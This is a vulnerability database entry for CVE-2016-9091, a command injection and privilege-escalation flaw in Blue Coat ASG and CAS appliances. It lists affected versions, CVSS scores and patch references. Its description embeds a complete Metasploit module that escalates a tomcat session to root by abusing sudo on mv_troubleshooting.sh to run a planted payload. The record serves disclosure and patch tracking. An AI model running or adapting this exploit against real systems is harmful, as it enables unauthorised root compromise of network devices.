ID

VAR-201704-0485


CVE

CVE-2016-9091


TITLE

Blue Coat Advanced Secure Gateway and Content Analysis System In OS Command injection vulnerability

Trust: 0.8

sources: JVNDB: JVNDB-2016-008286

DESCRIPTION

Blue Coat Advanced Secure Gateway (ASG) 6.6 before 6.6.5.4 and Content Analysis System (CAS) 1.3 before 1.3.7.4 are susceptible to an OS command injection vulnerability. An authenticated malicious administrator can execute arbitrary OS commands with elevated system privileges. BlueCoatAdvancedSecureGateway (ASG) and ContentAnalysisSystem (CAS) are products of BlueCoatSystems, USA. ASG is a secure Web gateway device; CAS is a malware analysis system that integrates an application whitelist and a dual anti-malware signature database. Multiple Bluecoat Products are prone to command-injection vulnerability because it fails to properly sanitize user-supplied input. This may aid in further attacks. The following products are affected: Advanced Secure Gateway 6.6 prior to 6.6.5.4 is vulnerable. Content Analysis System 1.3 prior to 1.3.7.4 is vulnerable. # Exploit Title: OS Command Injection Vulnerability in BlueCoat ASG and CAS # Date: April 3, 2017 # Exploit Authors: Chris Hebert, Peter Paccione and Corey Boyd # Contact: chrisdhebert[at]gmail.com # Vendor Security Advisory: https://bto.bluecoat.com/security-advisory/sa138 # Version: CAS 1.3 prior to 1.3.7.4 & ASG 6.6 prior to 6.6.5.4 are vulnerable # Tested on: BlueCoat CAS 1.3.7.1 # CVE : cve-2016-9091 Timeline: -------- 08/31/2016 (Vulnerablities Discovered) 03/31/2017 (Final Vendor Patch Confirmed) 04/03/2017 (Public Release) Description: The BlueCoat ASG and CAS management consoles are susceptible to a privilege escalation vulnerablity. A malicious user with tomcat privileges can escalate to root via the vulnerable mvtroubleshooting.sh script. Proof of Concept: Metasploit Module - root priv escalation (via mvtroubleshooting.sh) ----------------- ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' class Metasploit4 < Msf::Exploit::Local Rank = AverageRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Exploit::Local::Linux def initialize(info={}) super( update_info( info, { 'Name' => 'BlueCoat CAS 1.3.7.1 tomcat->root privilege escalation (via mvtroubleshooting.sh)', 'Description' => %q{ This module abuses the sudo access granted to tomcat and the mvtroubleshooting.sh script to escalate privileges. In order to work, a tomcat session with access to sudo on the sudoers is needed. This module is useful for post exploitation of BlueCoat vulnerabilities, where typically web server privileges are acquired, and this user is allowed to execute sudo on the sudoers file. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Hebert <chrisdhebert[at]gmail.com>', 'Pete Paccione <petepaccione[at]gmail.com>', 'Corey Boyd <corey.k.boyd[at]gmail.com>' ], 'DisclosureDate' => 'Vendor Contacted 8-31-2016', 'References' => [ ['EDB', '##TBD##'], ['CVE', '2016-9091' ], ['URL', 'http://https://bto.bluecoat.com/security-advisory/sa138'] ], 'Platform' => %w{ linux unix }, 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ] ], 'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 }, 'DefaultTarget' => 0, } )) register_options([ OptString.new("WritableDir", [ false, "A directory where we can write files", "/var/log" ]), ], self.class) end def check id=cmd_exec("id -un") if id!="tomcat" print_status("#{peer} - ERROR - Session running as id= #{id}, but must be tomcat") fail_with(Failure::NoAccess, "Session running as id= #{id}, but must be tomcat") end clprelease=cmd_exec("cat /etc/clp-release | cut -d \" \" -f 3") if clprelease!="1.3.7.1" print_status("#{peer} - ERROR - BlueCoat version #{clprelease}, but must be 1.3.7.1") fail_with(Failure::NotVulnerable, "BlueCoat version #{clprelease}, but must be 1.3.7.1") end return Exploit::CheckCode::Vulnerable end def exploit print_status("#{peer} - Checking for vulnerable BlueCoat session...") if check != CheckCode::Vulnerable fail_with(Failure::NotVulnerable, "FAILED Exploit - BlueCoat not running as tomcat or not version 1.3.7.1") end print_status("#{peer} - Running Exploit...") exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf" write_file(exe_file, generate_payload_exe) cmd_exec "chmod +x #{exe_file}" begin #Backup original nscd init script cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/mv_troubleshooting.sh /etc/init.d/nscd /data/bluecoat/avenger/ui/logs/tro$ #Replaces /etc/init.d/nscd script with meterpreter payload cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/mv_troubleshooting.sh #{exe_file} /data/bluecoat/avenger/ui/logs/troubles$ #Executes meterpreter payload as root cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/flush_dns.sh" #note, flush_dns.sh waits for payload to exit. (killing it falls over to init pid=1) ensure #Restores original nscd init script cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/mv_troubleshooting.sh /var/log/nscd.backup /data/bluecoat/avenger/ui/logs$ #Remove meterpreter payload (precautionary as most recent mv_troubleshooting.sh should also remove it) cmd_exec "/bin/rm -f #{exe_file}" end print_status("#{peer} - The exploit module has finished") #Maybe something here to deal with timeouts?? noticied inconsistant.. Exploit failed: Rex::TimeoutError Operation timed out. end end

Trust: 2.61

sources: NVD: CVE-2016-9091 // JVNDB: JVNDB-2016-008286 // CNVD: CNVD-2017-05236 // BID: 97372 // VULHUB: VHN-97911 // PACKETSTORM: 141909

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2017-05236

AFFECTED PRODUCTS

vendor:bluecoatmodel:advanced secure gatewayscope:lteversion:6.6.5.2

Trust: 1.0

vendor:bluecoatmodel:content analysis system softwarescope:lteversion:1.3.7.3

Trust: 1.0

vendor:blue coatmodel:content analysis system softwarescope:eqversion:1.3.7.4

Trust: 0.8

vendor:blue coatmodel:advanced secure gatewayscope:eqversion:software 6.6.5.4

Trust: 0.8

vendor:blue coatmodel:advanced secure gatewayscope:ltversion:6.6

Trust: 0.8

vendor:blue coatmodel:content analysis system softwarescope:ltversion:1.3

Trust: 0.8

vendor:bluemodel:coat advanced secure gatewayscope:eqversion:6.6<6.6.5.4

Trust: 0.6

vendor:bluemodel:coat content analysis systemscope:eqversion:1.3<1.3.7.4

Trust: 0.6

vendor:bluecoatmodel:advanced secure gatewayscope:eqversion:6.6.5.2

Trust: 0.6

vendor:bluecoatmodel:content analysis system softwarescope:eqversion:1.3.7.3

Trust: 0.6

vendor:bluecoatmodel:content analysis systemscope:eqversion:1.3

Trust: 0.3

vendor:bluecoatmodel:advanced secure gatewayscope:eqversion:6.6

Trust: 0.3

vendor:bluecoatmodel:content analysis systemscope:neversion:1.3.7.4

Trust: 0.3

vendor:bluecoatmodel:advanced secure gatewayscope:neversion:6.6.5.4

Trust: 0.3

sources: CNVD: CNVD-2017-05236 // BID: 97372 // JVNDB: JVNDB-2016-008286 // CNNVD: CNNVD-201704-236 // NVD: CVE-2016-9091

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2016-9091
value: HIGH

Trust: 1.0

NVD: CVE-2016-9091
value: HIGH

Trust: 0.8

CNVD: CNVD-2017-05236
value: HIGH

Trust: 0.6

CNNVD: CNNVD-201704-236
value: CRITICAL

Trust: 0.6

VULHUB: VHN-97911
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2016-9091
severity: HIGH
baseScore: 9.0
vectorString: AV:N/AC:L/AU:S/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 8.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

CNVD: CNVD-2017-05236
severity: HIGH
baseScore: 9.0
vectorString: AV:N/AC:L/AU:S/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 8.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-97911
severity: HIGH
baseScore: 9.0
vectorString: AV:N/AC:L/AU:S/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 8.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

nvd@nist.gov: CVE-2016-9091
baseSeverity: HIGH
baseScore: 7.2
vectorString: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: HIGH
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 1.2
impactScore: 5.9
version: 3.0

Trust: 1.8

sources: CNVD: CNVD-2017-05236 // VULHUB: VHN-97911 // JVNDB: JVNDB-2016-008286 // CNNVD: CNNVD-201704-236 // NVD: CVE-2016-9091

PROBLEMTYPE DATA

problemtype:CWE-78

Trust: 1.9

sources: VULHUB: VHN-97911 // JVNDB: JVNDB-2016-008286 // NVD: CVE-2016-9091

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201704-236

TYPE

operating system commend injection

Trust: 0.6

sources: CNNVD: CNNVD-201704-236

CONFIGURATIONS

sources: JVNDB: JVNDB-2016-008286

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-97911

PATCH

title:SA138url:https://bto.bluecoat.com/security-advisory/sa138

Trust: 0.8

title:BluecoatASG6.6/CASOS Command Injection Vulnerability Vulnerability Patchurl:https://www.cnvd.org.cn/patchInfo/show/92633

Trust: 0.6

title:Blue Coat Advanced Secure Gateway and Content Analysis System Fixes for operating system command injection vulnerabilitiesurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=69073

Trust: 0.6

sources: CNVD: CNVD-2017-05236 // JVNDB: JVNDB-2016-008286 // CNNVD: CNNVD-201704-236

EXTERNAL IDS

db:NVDid:CVE-2016-9091

Trust: 3.5

db:BIDid:97372

Trust: 2.0

db:EXPLOIT-DBid:41785

Trust: 1.7

db:EXPLOIT-DBid:41786

Trust: 1.1

db:JVNDBid:JVNDB-2016-008286

Trust: 0.8

db:CNNVDid:CNNVD-201704-236

Trust: 0.7

db:BIDid:41785

Trust: 0.6

db:CNVDid:CNVD-2017-05236

Trust: 0.6

db:PACKETSTORMid:141909

Trust: 0.2

db:SEEBUGid:SSVID-92941

Trust: 0.1

db:VULHUBid:VHN-97911

Trust: 0.1

sources: CNVD: CNVD-2017-05236 // VULHUB: VHN-97911 // BID: 97372 // JVNDB: JVNDB-2016-008286 // PACKETSTORM: 141909 // CNNVD: CNNVD-201704-236 // NVD: CVE-2016-9091

REFERENCES

url:https://bto.bluecoat.com/security-advisory/sa138

Trust: 2.1

url:https://www.exploit-db.com/exploits/41785/

Trust: 1.7

url:http://www.securityfocus.com/bid/97372

Trust: 1.7

url:https://www.exploit-db.com/exploits/41786/

Trust: 1.1

url:https://nvd.nist.gov/vuln/detail/cve-2016-9091

Trust: 0.9

url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-9091

Trust: 0.8

url:https://www.bluecoat.com/

Trust: 0.3

url:https://github.com/rapid7/metasploit-framework

Trust: 0.1

url:http://https://bto.bluecoat.com/security-advisory/sa138']

Trust: 0.1

url:http://metasploit.com/download

Trust: 0.1

sources: CNVD: CNVD-2017-05236 // VULHUB: VHN-97911 // BID: 97372 // JVNDB: JVNDB-2016-008286 // PACKETSTORM: 141909 // CNNVD: CNNVD-201704-236 // NVD: CVE-2016-9091

CREDITS

Peter Paccione, Chris Hebert, and Corey Boyd.

Trust: 0.3

sources: BID: 97372

SOURCES

db:CNVDid:CNVD-2017-05236
db:VULHUBid:VHN-97911
db:BIDid:97372
db:JVNDBid:JVNDB-2016-008286
db:PACKETSTORMid:141909
db:CNNVDid:CNNVD-201704-236
db:NVDid:CVE-2016-9091

LAST UPDATE DATE

2024-11-23T22:14:29.637000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2017-05236date:2017-04-24T00:00:00
db:VULHUBid:VHN-97911date:2017-08-16T00:00:00
db:BIDid:97372date:2017-04-11T00:02:00
db:JVNDBid:JVNDB-2016-008286date:2017-05-12T00:00:00
db:CNNVDid:CNNVD-201704-236date:2017-04-07T00:00:00
db:NVDid:CVE-2016-9091date:2024-11-21T03:00:35.027

SOURCES RELEASE DATE

db:CNVDid:CNVD-2017-05236date:2017-04-24T00:00:00
db:VULHUBid:VHN-97911date:2017-04-05T00:00:00
db:BIDid:97372date:2017-04-03T00:00:00
db:JVNDBid:JVNDB-2016-008286date:2017-05-12T00:00:00
db:PACKETSTORMid:141909date:2017-04-03T03:33:00
db:CNNVDid:CNNVD-201704-236date:2017-04-07T00:00:00
db:NVDid:CVE-2016-9091date:2017-04-05T15:59:00.170